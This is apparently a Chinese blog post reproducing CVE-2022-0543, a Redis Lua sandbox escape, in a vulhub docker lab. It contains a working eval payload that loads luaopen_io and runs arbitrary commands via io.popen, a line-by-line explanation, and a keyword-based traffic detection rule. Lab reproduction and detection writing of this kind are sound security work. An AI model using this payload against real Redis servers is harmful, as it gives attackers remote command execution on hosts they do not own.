Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)

Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)

参考

https://blog.csdn.net/xhscxj/article/details/128862680?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171552363116800182726619%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171552363116800182726619&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-4-128862680-null-null.142^v100^pc_search_result_base4&utm_term=redis-cve_2022_0543&spm=1018.2226.3001.4187

Redis简介

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

漏洞介绍

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

影响版本

2.2 <= redis < 5.0.13

2.2 <= redis < 6.0.15

2.2 <= redis < 6.2.5

漏洞复现

复现条件

redis版本符合上述版本,并且可以成功登录redis,类似redis未授权访问

演示

进入靶场目录
cd /root/vulhub-master/redis/CVE-2022-0543
开启靶场

执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器

docker compose up -d

image.png

攻击靶机

方法一
windows的cmd命令连接靶机redis

redis-cli -h 192.168.61.131 -p 6379

image.png

执行payload

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

payload的whoami为可以执行的任意系统命令位置,可以换成id或者pwd等等
image.png

方法二
用redis图形化连接工具连接靶机
image.png
同样执行payload,我这里换成看id

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image.png
image.png
image.png

漏洞原理

因为Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
攻击者可通过package中的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0中的函数luaopen_io,在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。

POC解析

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r");
local res = f:read("*a");
f:close();
return res

1.通过loadlib函数加载动态连接库中的luaopen_io函数,并赋给io_l
2.执行io_l(),获取io库
3.通过io库中的popen来执行命令,并把执行结果返回赋给f
4.读取f中命令执行的结果内容
5.关闭f
6.将读取的结果内容返回

连接上redis后,通过eval函数来执行上述脚本,即为payload的构成

流量特征分析

通过wireshack抓包可看到,为tcp流量
image.png
并且数据包中含有漏洞payload的全部内容,这样拦截规则就很好编写了
1.eval:因为脚本内容必须通过eval来执行
2.luaopen_io:因为此攻击必须通过执行luaopen_io函数来获取io库
3…popen:恶意命令必须通过io库中的popen函数来执行,为什么拦截规则不是io.popen,因为io仅是一个对象名称,是可自定义的

拦截规则

tcp流量中同时产生关键字eval、luaopen_io、.popen时进行拦截

关闭靶场

docker-compose down

image.png

  • 26
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值